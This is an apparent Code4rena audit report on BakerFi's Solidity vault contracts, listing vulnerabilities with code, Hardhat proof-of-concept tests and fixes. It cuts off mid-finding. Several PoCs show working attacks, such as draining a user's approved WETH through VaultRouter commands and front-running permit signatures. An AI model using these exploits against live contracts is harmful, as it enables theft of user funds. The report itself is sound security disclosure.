BakerFi Invitational
Findings & Analysis Report
2025-02-26
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] Users may encounter losses on assets deposited through
StrategySupplyERC4626
- [H-02] Anyone can call
StrategySupplyBase.harvest
, allowing users to avoid paying performance fees on interest - [H-03]
_deployedAmount
not updated onStrategySupplyBase.undeploy
, preventing performance fees from being collected - [H-04] There are multiple issues with the decimal conversions between the vault and the strategy
- [H-05] The implementation of
pullTokensWithPermit
poses a risk, allowing malicious actors to steal tokens - [H-06] Malicious actors can exploit user-approved allowances on
VaultRouter
to drain their ERC20 tokens - [H-07] Malicious actors can exploit user-approved allowances on
VaultRouter
to drain their ERC4626 tokens
- [H-01] Users may encounter losses on assets deposited through
-
- [M-01]
VaultBase
is not ERC4626 compliant - [M-02] New strategy can not work due to insufficient allowance
- [M-03]
MultiStrategy#removeStrategy()
cannot remove leverage strategies that still have deployed assets - [M-04] Sending tokens to a Strategy when
totalSupply
is 0 can permanently make the Vault unavailable - [M-05]
Permit
doesn’t work with DAI - [M-06] Even when the Vault contract is paused, the
rebalance
function is not paused - [M-07] Depositor can bypass the
max deposit
limit - [M-08] The
dispatch
function of theVaultRouter
, does not work as intended, withPULL_TOKEN
action - [M-09] Non-whitelisted recipient can receive shares
- [M-10] The withdrawal of Multi strategies vault could be DoSed while asset deposits remain unaffected
- [M-11] The calculation of
assetsMax
is incorrect. - [M-12] Cannot withdraw tokens from all strategies in MultiStrategyVault when one third party is paused
- [M-13] The Vault Manager is unable to delete the last strategy from
MultiStrategyVault
- [M-14] The
StrategySupplyMorpho
allow to use wrong token in_asset
- [M-15]
VaultRouter
cannot be used for deposits when it reaches the maximum deposit limit - [M-16]
StrategySupplyBase.undeploy
does not return the amount of assets actually undeployed, which can cause a withdrawal to fail
- [M-01]
-
Low Risk and Non-Critical Issues
- 01 Allowance not set to maximum value in
enableRoute
- 02
UseIERC4626.withdrawVault
does not check if vault isaddress(0)
- 03 Wrong event emitted in
removeStrategy
- 04 Strategy with different asset token can be registered to
MultiStrategyVault
- 05 Allowance remains when removing
Strategy
from MultiStrategyVault - 06 MultiStrategyVault does not check for duplicate when registering new strategies
- 07 Not using the parsed value
actionToExecute
inVaultRouter.dispatch
- 08 Unused storage variable
_approvedSwapTokens
exists - 09
depositNative
,withdrawNative
,redeemNative
functions cannot be called from Router
- 01 Allowance not set to maximum value in
-
- Introduction
- Mitigation Review Scope
- Mitigation Review Summary
- [M-01] Unmitigated
- [M-07] Unmitigated
- [M-16] Unmitigated
- Setting
_performanceFee
will result in inaccurate fees calculation - In
StrategySupplyBase::undeploy()
subtracting thewithdrawalValue
from_deployedAmount
might lead to an underflow
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the BakerFi smart contract system written in Solidity. The audit took place from December 11, 2024 to December 31, 2024.
This audit was judged by Dravee.
Final report assembled by Code4rena.
Following the C4 audit, 2 wardens (0xlemon and shaflow2) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.
Summary
The C4 analysis yielded an aggregated total of 23 unique vulnerabilities. Of these vulnerabilities, 7 received a risk rating in the category of HIGH severity and 16 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 1 report detailing issues with a risk rating of LOW severity or non-critical.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 BakerFi repository, and is composed of 23 smart contracts written in the Solidity programming language and includes 1,910 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (7)
[H-01] Users may encounter losses on assets deposited through StrategySupplyERC4626
Submitted by 0xpiken, also found by 0xlemon, klau5, klau5, MrPotatoMagic, and shaflow2
Finding description and impact
The _deploy()
, _undeploy()
, and _getBalance()
functions of StrategySupplyERC4626
currently return the amount of shares instead of the amount of the underlying asset. This mistake leads to incorrect calculations of user assets within any BakerFi Vault that utilizes StrategySupplyERC4626
.
Proof of Concept
When a user deposits a certain amount of asset (deployedAmount
) into a BakerFi vault, it is deployed into the vault’s underlying strategies. In return, the user receives a corresponding number of shares
:
function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
if (receiver == address(0)) revert InvalidReceiver();
// Fetch price options from settings
// Get the total assets and total supply
Rebase memory total = Rebase(totalAssets(), totalSupply());
// Check if the Rebase is uninitialized or both base and elastic are positive
if (!((total.elastic == 0 && total.base == 0) || (total.base > 0 && total.elastic > 0))) {
revert InvalidAssetsState();
}
// Check if deposit exceeds the maximum allowed per wallet
uint256 maxDepositLocal = getMaxDeposit();
if (maxDepositLocal > 0) {
uint256 depositInAssets = (balanceOf(msg.sender) * _ONE) / tokenPerAsset();
uint256 newBalance = assets + depositInAssets;
if (newBalance > maxDepositLocal) revert MaxDepositReached();
}
@> uint256 deployedAmount = _deploy(assets);
// Calculate shares to mint
@> shares = total.toBase(deployedAmount, false);
// Prevent inflation attack for the first deposit
if (total.base == 0 && shares < _MINIMUM_SHARE_BALANCE) {
revert InvalidShareBalance();
}
// Mint shares to the receiver
_mint(receiver, shares);
// Emit deposit event
emit Deposit(msg.sender, receiver, assets, shares);
}
To withdraw their deployed assets from a BakerFi vault, users must burn a corresponding number of shares to receive a certain amount of assets:
function _redeemInternal(
uint256 shares,
address receiver,
address holder,
bool shouldRedeemETH
) private returns (uint256 retAmount) {
if (shares == 0) revert InvalidAmount();
if (receiver == address(0)) revert InvalidReceiver();
if (balanceOf(holder) < shares) revert NotEnoughBalanceToWithdraw();
// Transfer shares to the contract if sender is not the holder
if (msg.sender != holder) {
if (allowance(holder, msg.sender) < shares) revert NoAllowance();
transferFrom(holder, msg.sender, shares);
}
// Calculate the amount to withdraw based on shares
uint256 withdrawAmount = (shares * totalAssets()) / totalSupply();
if (withdrawAmount == 0) revert NoAssetsToWithdraw();
@> uint256 amount = _undeploy(withdrawAmount);
uint256 fee = 0;
uint256 remainingShares = totalSupply() - shares;
// Ensure a minimum number of shares are maintained to prevent ratio distortion
if (remainingShares < _MINIMUM_SHARE_BALANCE && remainingShares != 0) {
revert InvalidShareBalance();
}
@> _burn(msg.sender, shares);
// Calculate and handle withdrawal fees
if (getWithdrawalFee() != 0 && getFeeReceiver() != address(0)) {
fee = amount.mulDivUp(getWithdrawalFee(), PERCENTAGE_PRECISION);
if (shouldRedeemETH && _asset() == wETHA()) {
unwrapETH(amount);
payable(receiver).sendValue(amount - fee);
payable(getFeeReceiver()).sendValue(fee);
} else {
IERC20Upgradeable(_asset()).transfer(receiver, amount - fee);
IERC20Upgradeable(_asset()).transfer(getFeeReceiver(), fee);
}
} else {
if (shouldRedeemETH) {
unwrapETH(amount);
payable(receiver).sendValue(amount);
} else {
IERC20Upgradeable(_asset()).transfer(receiver, amount);
}
}
emit Withdraw(msg.sender, receiver, holder, amount - fee, shares);
retAmount = amount - fee;
}
As we can see, the return values of _deploy()
and _undeploy()
should represent the amount of asset. In addition, _totalAssets()
should also return the amount of asset.
The implementation of the above functions within the Vault
contract is as follows:
function _deploy(uint256 assets) internal virtual override returns (uint256 deployedAmount) {
// Approve the strategy to spend assets
IERC20Upgradeable(_strategyAsset).safeApprove(address(_strategy), assets);
// Deploy assets via the strategy
deployedAmount = _strategy.deploy(assets); // Calls the deploy function of the strategy
}
function _undeploy(uint256 assets) internal virtual override returns (uint256 retAmount) {
retAmount = _strategy.undeploy(assets); // Calls the undeploy function of the strategy
}
function _totalAssets() internal view virtual override returns (uint256 amount) {
amount = _strategy.totalAssets(); // Calls the totalAssets function of the strategy
}
It is obvious that the return value should represent the amount of assets when _strategy.deploy()
, _strategy.undeploy()
or _strategy.totalAssets()
is called.
However, the functions in StrategySupplyERC4626
mistakenly return the number of shares other than the amount of underlying asset:
/**
* @inheritdoc StrategySupplyBase
*/
function _deploy(uint256 amount) internal override returns (uint256) {
return _vault.deposit(amount, address(this));
}
/**
* @inheritdoc StrategySupplyBase
*/
function _undeploy(uint256 amount) internal override returns (uint256) {
return _vault.withdraw(amount, address(this), address(this));
}
/**
* @inheritdoc StrategySupplyBase
*/
function _getBalance() internal view override returns (uint256) {
return _vault.balanceOf(address(this));
}
This issue could lead to a scenario where a portion of user assets are permanently locked within the BakerFi vault.
Create ERC4626Mock
contract with below codes:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract ERC4626Mock is ERC4626 {
constructor(IERC20 asset_) ERC4626(asset_) ERC20("Mock Vault", "MV") {
}
}
Create StrategySupplyERC4626.ts
with below codes and run npm run test
:
import { describeif } from '../../common';
import '@nomicfoundation/hardhat-ethers';
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers';
import { expect } from 'chai';
import { ethers, network } from 'hardhat';
import {
deployVaultRegistry,
deployStEth,
deployAaveV3,
deployWETH,
deployVault
} from '../../../scripts/common';
describeif(network.name === 'hardhat')('Strategy Supply ERC4626', function () {
// Fixture to deploy contracts before each test
async function deployStrategySupplyERC4626() {
const [owner, otherAccount] = await ethers.getSigners();
const BakerFiProxyAdmin = await ethers.getContractFactory('BakerFiProxyAdmin');
const proxyAdmin = await BakerFiProxyAdmin.deploy(owner.address);
await proxyAdmin.waitForDeployment();
const MAX_SUPPLY = ethers.parseUnits('1000000000');
const WETH = await ethers.getContractFactory('WETH');
const weth = await WETH.deploy();
await weth.waitForDeployment();
// Deposit ETH
await weth.deposit?.call('', { value: ethers.parseUnits('100', 18) });
const ERC4626Vault = await ethers.getContractFactory("ERC4626Mock");
const erc4626Vault = await ERC4626Vault.deploy(weth.getAddress());
await erc4626Vault.waitForDeployment();
// Deploy StrategySupply contract
const StrategySupply = await ethers.getContractFactory('StrategySupplyERC4626');
const strategy = await StrategySupply.deploy(
owner.address,
await weth.getAddress(),
await erc4626Vault.getAddress(),
);
await strategy.waitForDeployment();
const { proxy: vaultProxy } = await deployVault(
owner.address,
'Bread ETH',
'brETH',
await strategy.getAddress(),
await weth.getAddress(),
proxyAdmin,
);
await strategy.transferOwnership(await vaultProxy.getAddress());
const vault = await ethers.getContractAt('Vault', await vaultProxy.getAddress());
return { weth, strategy, owner, otherAccount, erc4626Vault, vault};
}
it.only('Deposit 10 ether but 5 ether can be withdrawn', async () => {
const { weth, strategy, owner, otherAccount, erc4626Vault, vault } = await loadFixture(deployStrategySupplyERC4626);
const tenEther = ethers.parseEther('10');
const fiveEther = ethers.parseEther('5');
//@audit-info owner deposits 10e18 WETH into erc4626Vault
await weth.approve(erc4626Vault.getAddress(), tenEther);
await erc4626Vault.deposit(tenEther, owner.address);
//@audit-info 10e18 shares are minted to owner
expect(await erc4626Vault.balanceOf(owner.address)).to.equal(tenEther);
//@audit-info transfer 10e18 WETH to erc4626Vault
await weth.transfer(erc4626Vault.getAddress(), tenEther);
//@audit-info erc4646Vault has 20e18 WETH with total supply of 10e18 shares
expect(await weth.balanceOf(erc4626Vault.getAddress())).to.equal(ethers.parseEther('20'));
expect(await erc4626Vault.totalSupply()).to.equal(ethers.parseEther('10'));
//@audit-info owner deposits 10e18 WETH into vault
await vault.enableAccount(owner.address, true);
await weth.approve(vault.getAddress(), tenEther);
await vault.deposit(tenEther, owner.address);
//@audit-info however, only 5e18 WETH can be withdrawn, the rest 5e18 WETH will be locked forever
expect(await vault.maxWithdraw(owner.address)).to.equal(fiveEther);
});
});
As we can see that only 5e18 WETH can be withdrawn within 10e18 WETH deployed. The rest 5e18 WETH are permanently locked within the BakerFi vault. The amount of locked asset can be calculated as below:
Note: please see scenario in warden’s original submission.
Recommended mitigation steps
Update StrategySupplyERC4626
to return correct value:
function _deploy(uint256 amount) internal override returns (uint256) {
- return _vault.deposit(amount, address(this));
+ _vault.deposit(amount, address(this));
+ return amount;
}
/**
* @inheritdoc StrategySupplyBase
*/
function _undeploy(uint256 amount) internal override returns (uint256) {
- return _vault.withdraw(amount, address(this), address(this));
+ _vault.withdraw(amount, address(this), address(this));
+ return amount;
}
/**
* @inheritdoc StrategySupplyBase
*/
function _getBalance() internal view override returns (uint256) {
- return _vault.balanceOf(address(this));
+ return _vault.convertToAssets(_vault.balanceOf(address(this)));
}
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from shaflow2 and 0xlemon.
[H-02] Anyone can call StrategySupplyBase.harvest
, allowing users to avoid paying performance fees on interest
Submitted by klau5, also found by 0xlemon, 0xpiken, and shaflow2
Finding description and impact
Since StrategySupplyBase.harvest
can be called by anyone, users can front-run the rebalance
call or regularly call harvest to avoid paying protocol fees on interest. This allows users to receive more interest than they should.
Proof of Concept
When there are profits in the Strategy, the administrator calls rebalance
to settle protocol fees(performance fee). This calls Strategy.harvest
to update the total deployed asset amount including interest and returns the amount of newly generated interest. Then n%
of the interest is taken as protocol fees.
function _harvestAndMintFees() internal {
uint256 currentPosition = _totalAssets();
if (currentPosition == 0) {
return;
}
@> int256 balanceChange = _harvest();
if (balanceChange > 0) {
address feeReceiver = getFeeReceiver();
uint256 performanceFee = getPerformanceFee();
if (feeReceiver != address(this) && feeReceiver != address(0) && performanceFee > 0) {
uint256 feeInEth = uint256(balanceChange) * performanceFee;
uint256 sharesToMint = feeInEth.mulDivUp(totalSupply(), currentPosition * PERCENTAGE_PRECISION);
@> _mint(feeReceiver, sharesToMint);
}
}
}
function _harvest() internal virtual override returns (int256 balanceChange) {
@> return _strategy.harvest(); // Calls the harvest function of the strategy
}
However, StrategySupplyBase.harvest
can be called by anyone. By front-running the rebalance
request or regularly calling this function, users can avoid paying protocol fees on interest. This allows users to receive more interest than they should.
@> function harvest() external returns (int256 balanceChange) {
// Get Balance
uint256 newBalance = getBalance();
@> balanceChange = int256(newBalance) - int256(_deployedAmount);
if (balanceChange > 0) {
emit StrategyProfit(uint256(balanceChange));
} else if (balanceChange < 0) {
emit StrategyLoss(uint256(-balanceChange));
}
if (balanceChange != 0) {
emit StrategyAmountUpdate(newBalance);
}
@> _deployedAmount = newBalance;
}
This is PoC. It demonstrates that anyone can call StrategySupplyBase.harvest
. This can be run by adding it to the StrategySupplyAAVEv3.ts
file.
it('PoC - anyone can call harvest', async () => {
const { owner, strategySupply, stETH, aave3Pool, otherAccount } = await loadFixture(
deployStrategySupplyFixture,
);
const deployAmount = ethers.parseEther('10');
await stETH.approve(await strategySupply.getAddress(), deployAmount);
await strategySupply.deploy(deployAmount);
//artificial profit
await aave3Pool.mintAtokensArbitrarily(await strategySupply.getAddress(), deployAmount);
await expect(strategySupply.connect(otherAccount).harvest())
.to.emit(strategySupply, 'StrategyProfit')
.to.emit(strategySupply, 'StrategyAmountUpdate');
});
Recommended Mitigation Steps
Add the onlyOwner
modifier to StrategySupplyBase.harvest
to restrict access.
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[H-03] _deployedAmount
not updated on StrategySupplyBase.undeploy
, preventing performance fees from being collected
Submitted by klau5, also found by 0xlemon, 0xpiken, MrPotatoMagic, pfapostol, and shaflow2
Finding description and impact
StrategySupplyBase.undeploy
does not update _deployedAmount
. As a result, if a withdrawal occurs, even if interest is generated, the protocol cannot collect performance fees through rebalance
.
Proof of Concept
StrategySupplyBase.undeploy
does not update _deployedAmount
. It should subtract the amount of withdrawn asset tokens.
function undeploy(uint256 amount) external nonReentrant onlyOwner returns (uint256 undeployedAmount) {
if (amount == 0) revert ZeroAmount();
// Get Balance
uint256 balance = getBalance();
if (amount > balance) revert InsufficientBalance();
// Transfer assets back to caller
uint256 withdrawalValue = _undeploy(amount);
// Check withdrawal value matches the initial amount
// Transfer assets to user
ERC20(_asset).safeTransfer(msg.sender, withdrawalValue);
balance -= amount;
emit StrategyUndeploy(msg.sender, withdrawalValue);
emit StrategyAmountUpdate(balance);
return amount;
}
As a result, if a withdrawal occurs, even if interest is generated, the protocol cannot collect performance fees through rebalance
. This is because if the withdrawal amount is greater than the interest earned, the Strategy is considered to have a loss and no fee is taken.
_deployedAmount
: A- Interest generated,
getBalance
returns A + profit -
Request to withdraw amount B
_deployedAmount
is still AgetBalance
returns A + profit - B
-
During rebalance,
balanceChange
is (A + profit - B) - A- That is, if
profit <= B
, the Strategy is considered to have a loss.
- That is, if
function harvest() external returns (int256 balanceChange) {
// Get Balance
uint256 newBalance = getBalance();
@> balanceChange = int256(newBalance) - int256(_deployedAmount);
if (balanceChange > 0) {
emit StrategyProfit(uint256(balanceChange));
} else if (balanceChange < 0) {
emit StrategyLoss(uint256(-balanceChange));
}
if (balanceChange != 0) {
emit StrategyAmountUpdate(newBalance);
}
_deployedAmount = newBalance;
}
This is PoC. This shows that when harvested after withdrawal, the Strategy is considered to have a loss. This can be executed by adding it to the StrategySupplyAAVEv3.ts
file.
it('PoC - harvest returns loss after undeloy', async () => {
const { owner, strategySupply, stETH, aave3Pool, otherAccount } = await loadFixture(
deployStrategySupplyFixture,
);
const deployAmount = ethers.parseEther('10');
await stETH.approve(await strategySupply.getAddress(), deployAmount);
await strategySupply.deploy(deployAmount);
//artificial profit
const profit = ethers.parseEther('1');
await aave3Pool.mintAtokensArbitrarily(await strategySupply.getAddress(), profit);
// Undeploy
const undeployAmount = ethers.parseEther('2');
await strategySupply.undeploy(undeployAmount);
await expect(strategySupply.harvest())
.to.emit(strategySupply, 'StrategyLoss')
.to.emit(strategySupply, 'StrategyAmountUpdate');
});
Recommended Mitigation Steps
Update _deployedAmount
by the withdrawal amount in StrategySupplyBase.undeploy
.
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from shaflow2 and 0xlemon.
[H-04] There are multiple issues with the decimal conversions between the vault and the strategy
Submitted by shaflow2, also found by 0xlemon, 0xpiken, ABAIKUNANBAEV, klau5, and shaflow2
Finding description and impact
The StrategyLeverage
contract has multiple incorrect decimal handling issues, causing the system to not support tokens with decimals other than 18.
Proof of Concept
First, the vault contract’s share decimal is set to 18, as recommended by the ERC4626 standard. Ideally, the vault’s share decimal should reflect the underlying token’s decimal. Otherwise, conversions through convertToShares
and convertToAssets
would be required.
In StrategyLeverage
, we can see that all calls to totalAssets()
are converted to 18 decimals for share calculations.
Under the above premise, the contract has multiple decimal handling errors, making it incompatible with tokens that use decimals other than 18:
-
The
_deploy
function should return the amount in the system’s 18-decimal format, rather than the token’s native decimal format.function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) { ... uint256 deployedAmount = _deploy(assets); // Calculate shares to mint shares = total.toBase(deployedAmount, false); // Prevent inflation attack for the first deposit if (total.base == 0 && shares < _MINIMUM_SHARE_BALANCE) { revert InvalidShareBalance(); } // Mint shares to the receiver _mint(receiver, shares); // Emit deposit event emit Deposit(msg.sender, receiver, assets, shares); }
The
_deploy
function is used to calculate shares, so it should return the amount in the system’s 18-decimal format. However, the strategy always returns the amount in the token’s native decimal format. To address this, the_pendingAmount
in the_supplyBorrow
function should be converted to 18-decimal format. -
In the
_redeemInternal
process, thewithdrawAmount
passed to_undeploy
is in 18-decimal format (sincetotalAssets
returns 18-decimal values).function _redeemInternal( uint256 shares, address receiver, address holder, bool shouldRedeemETH ) private returns (uint256 retAmount) { if (shares == 0) revert InvalidAmount(); if (receiver == address(0)) revert InvalidReceiver(); if (balanceOf(holder) < shares) revert NotEnoughBalanceToWithdraw(); // Transfer shares to the contract if sender is not the holder if (msg.sender != holder) { if (allowance(holder, msg.sender) < shares) revert NoAllowance(); transferFrom(holder, msg.sender, shares); } // Calculate the amount to withdraw based on shares uint256 withdrawAmount = (shares * totalAssets()) / totalSupply(); if (withdrawAmount == 0) revert NoAssetsToWithdraw();
@> uint256 amount = _undeploy(withdrawAmount); …
Therefore, in the `undeploy` process, `deltaCollateralAmount` is in 18-decimal format. It is directly packed into `data` and passed to `_repayAndWithdraw` during the callback.
As a result, the `_withdraw` functions in `StrategyLeverageAAVEv3` and `StrategyLeverageMorphoBlue` should convert the input `amount` from 18-decimal format to the token's actual decimal format. Otherwise, the wrong amount will be withdrawn.
3. In the `_undeploy` process, `deltaDebt` and fees should be converted from 18-decimal format to the `debtToken`'s actual decimal format.
4. The `_convertToCollateral` and `_convertToDebt` functions expect the `amount` parameter to be in 18-decimal format, as required for calculations by `_toDebt` and `_toCollateral` using the oracle. However, before proceeding with the swap, the amount needs to be converted to the respective token's actual decimal format.
Additionally, `_convertToCollateral` receives the token's original decimal `amount` during the deploy process, leading to incorrect calculations by the oracle.
```solidity
/**
* @dev Internal function to convert the specified amount from Debt Token to the underlying collateral asset cbETH, wstETH, rETH.
*
* This function is virtual and intended to be overridden in derived contracts for customized implementation.
*
* @param amount The amount to convert from debtToken.
* @return uint256 The converted amount in the underlying collateral.
*/
function _convertToCollateral(uint256 amount) internal virtual returns (uint256) {
uint256 amountOutMinimum = 0;
if (getMaxSlippage() > 0) {
uint256 wsthETHAmount = _toCollateral(
IOracle.PriceOptions({maxAge: getPriceMaxAge(), maxConf: getPriceMaxConf()}),
amount,
false
);
amountOutMinimum = (wsthETHAmount * (PERCENTAGE_PRECISION - getMaxSlippage())) / PERCENTAGE_PRECISION;
}
// 1. Swap Debt Token -> Collateral Token
(, uint256 amountOut) = swap(
ISwapHandler.SwapParams(
_debtToken, // Asset In
_collateralToken, // Asset Out
ISwapHandler.SwapType.EXACT_INPUT, // Swap Mode
amount, // Amount In
amountOutMinimum, // Amount Out
bytes("") // User Payload
)
);
return amountOut;
}
/**
* @dev Internal function to convert the specified amount to Debt Token from the underlying collateral.
*
* This function is virtual and intended to be overridden in derived contracts for customized implementation.
*
* @param amount The amount to convert to Debt Token.
* @return uint256 The converted amount in Debt Token.
*/
function _convertToDebt(uint256 amount) internal virtual returns (uint256) {
uint256 amountOutMinimum = 0;
if (getMaxSlippage() > 0) {
uint256 ethAmount = _toDebt(
IOracle.PriceOptions({maxAge: getPriceMaxAge(), maxConf: getPriceMaxConf()}),
amount,
false
);
amountOutMinimum = (ethAmount * (PERCENTAGE_PRECISION - getMaxSlippage())) / PERCENTAGE_PRECISION;
}
// 1.Swap Colalteral -> Debt Token
(, uint256 amountOut) = swap(
ISwapHandler.SwapParams(
_collateralToken, // Asset In
_debtToken, // Asset Out
ISwapHandler.SwapType.EXACT_INPUT, // Swap Mode
amount, // Amount In
amountOutMinimum, // Amount Out
bytes("") // User Payload
)
);
return amountOut;
}
- The
_convertToCollateral
and_convertToDebt
functions default to returning theamount
in the token’s actual decimal format. However, certain parts of the code assume they return the amount in 18-decimal format, leading to potential miscalculations. - The
_adjustDebt
function should convert the flash loan amount from 18-decimal format to the token’s original decimal format. - The
_payDebt
function will receive an amount in 18-decimal format, but when performing the swap, the amount is not converted to the token’s actual decimal format. This can lead to incorrect calculations during the swap process.
Recommended mitigation steps
It is recommended to align the vault’s decimals with the underlying token’s decimals instead of using 18 decimals. This alignment can significantly reduce the complexity of decimal conversions throughout the system.
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[H-05] The implementation of pullTokensWithPermit
poses a risk, allowing malicious actors to steal tokens
Submitted by shaflow2, also found by 0xlemon and MrPotatoMagic
Finding description and impact
In batch operations interacting with the router, users are allowed to input tokens into the router using the permit
method. This approach may be vulnerable to frontrunning attacks, allowing malicious actors to steal the user’s tokens.
Proof of Concept
function pullTokensWithPermit(
IERC20Permit token,
uint256 amount,
address owner,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) internal virtual {
// Permit the VaultRouter to spend tokens on behalf of the owner
IERC20Permit(token).permit(owner, address(this), amount, deadline, v, r, s);
// Transfer the tokens from the owner to this contract
IERC20(address(token)).safeTransferFrom(owner, address(this), amount);
}
Users can deposit tokens into the router via the pullTokensWithPermit
function. However, the router contract does not validate the caller’s information, making it possible for a malicious actor to frontrun the user and exploit their permit signature to steal tokens.
Consider the following scenario:
-
The user interacts with the router contract:
- Step 1: Calls
pullTokensWithPermit
to transfer 1000 tokens to the router. - Step 2: Deposits the tokens into a designated vault.
- Step 1: Calls
-
A malicious actor observes the user’s transaction in the mempool and constructs a malicious transaction to steal the user’s tokens:
- Step 1: The attacker calls
pullTokensWithPermit
using the user’s permit signature, causing the user to transfer 1000 tokens to the router. - Step 2: The attacker immediately calls sweepTokens to transfer the tokens to their own account. When the user’s original transaction is executed:
- Step 1: The attacker calls
- The permit signature has already been used, causing the user’s transaction to fail. As a result, the user loses 1000 tokens.
Additionally, an attacker could frontrun the permit
function without using the router
and then call pushTokenFrom
directly to steal tokens.
Recommended mitigation
The current router
is not suitable for integrating permit
to handle token input.
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[H-06] Malicious actors can exploit user-approved allowances on VaultRouter
to drain their ERC20 tokens
Submitted by 0xpiken, also found by 0xlemon, MrPotatoMagic, and shaflow2
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L186-L202
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L234-L252
Finding description and impact
Once a user approves VaultRouter
to spend their ERC20 tokens, anyone could call VaultRouter#execute()
to drain the user’s ERC20 assets.
Proof of Concept
The VaultRouter#execute()
function allows users to perform multiple commands within a single transaction. One such use case involves depositing ERC20 tokens into VaultRouter
using the PULL_TOKEN
command. Subsequently, these tokens can be further processed within the same transaction through other commands, such as V3_UNISWAP_SWAP
for token swaps or ERC4626_VAULT_DEPOSIT
for depositing into an ERC4626 vault.
Before depositing ERC20 tokens into VaultRouter
using the PULL_TOKEN
command, the user must approve VaultRouter
to spend their ERC20 token in advance. However, a malicious actor can exploit this approval to drain the user’s ERC20 token through VaultRouter
with PULL_TOKEN_FROM
or PUSH_TOKEN_FROM
commands:
- A malicious actor can call
PULL_TOKEN_FROM
to transfer ERC20 token from the user intoVaultRouter
, then usePUSH_TOKEN
command to transfer drained token fromVaultRouter
to specified address. - A malicious actor can call
PUSH_TOKEN_FROM
command transfer ERC20 token from the user to any address directly.
The root cause is that either PULL_TOKEN_FROM
or PUSH_TOKEN_FROM
command allows anyone to transfer a user’s ERC20 token as long as VaultRouter
is approved to spend their assets:
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/hooks/UseTokenActions.sol
function pullTokenFrom(IERC20 token, address from, uint256 amount) internal virtual {
// Check if the token address is valid
if (address(token) == address(0)) revert InvalidToken();
if (token.allowance(from, address(this)) < amount) revert NotEnoughAllowance();
// Use SafeERC20 to transfer tokens from the specified address to this contract
@> IERC20(token).safeTransferFrom(from, address(this), amount);
}
function pushTokenFrom(IERC20 token, address from, address to, uint256 amount) internal virtual {
// Check if the token address is valid
if (address(token) == address(0)) revert InvalidToken();
// Check if the recipient address is valid
if (address(to) == address(0)) revert InvalidRecipient();
if (token.allowance(from, address(this)) < amount) revert NotEnoughAllowance();
// Use SafeERC20 to transfer tokens from the specified address to another specified address
@> IERC20(token).safeTransferFrom(from, to, amount);
}
Copy below codes to VaultRouter.ts and run npm run test
:
it.only('Drain all WETH from owner', async function () {
const { vaultRouter, weth, owner, otherAccount } = await deployFunction();
//@audit-info owner has 10000e18 WETH
expect(await weth.balanceOf(owner.address)).to.equal(ethers.parseUnits('10000', 18));
//@audit-info owner approves vaultRouter to spend their WETH
await weth.approve(await vaultRouter.getAddress(), ethers.parseUnits('10000', 18));
let iface = new ethers.Interface(VaultRouterABI);
const commands = [
[
VAULT_ROUTER_COMMAND_ACTIONS.PUSH_TOKEN_FROM,
'0x' +
iface
.encodeFunctionData('pushTokenFrom', [await weth.getAddress(), owner.address, otherAccount.address, ethers.parseUnits('10000', 18)])
.slice(10),
],
];
//@audit-info otherAccount drains owner's WETH
await vaultRouter.connect(otherAccount).execute(commands);
expect(await weth.balanceOf(owner.address)).to.equal(0);
expect(await weth.balanceOf(otherAccount.address)).to.equal(ethers.parseUnits('10000', 18));
});
As we can see, owner’s all WETH was drained.
Recommended mitigation steps
To protect users from potential exploitation, the PULL_TOKEN_FROM
and PUSH_TOKEN_FROM
commands should be executed only when msg.sender
is from
.
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[H-07] Malicious actors can exploit user-approved allowances on VaultRouter
to drain their ERC4626 tokens
Submitted by 0xpiken, also found by MrPotatoMagic
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L120
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L122
Finding description and impact
Once a user approves VaultRouter
to spend their ERC4626 shares, anyone could call VaultRouter#execute()
to drain the user’s ERC4626 shares.
Proof of Concept
The VaultRouter#execute()
function allows users to perform multiple commands within a single transaction. A user can redeem their ERC4626 shares for underlying assets through VaultRouter
using the ERC4626_VAULT_REDEEM
command. Subsequently, the redeemed underlying assets can be further processed within the same transaction through other commands, such as V3_UNISWAP_SWAP
for token swaps or PUSH_TOKEN
for token transferrings.
Redeem ERC4626 shares for underlying assets:
function _handleVaultRedeem(
bytes calldata data,
uint256[] memory callStack,
uint32 inputMapping,
uint32 outputMapping
) private returns (bytes memory) {
IERC4626 vault;
uint256 shares;
address receiver;
address owner;
assembly {
vault := calldataload(data.offset)
shares := calldataload(add(data.offset, 0x20))
receiver := calldataload(add(data.offset, 0x40))
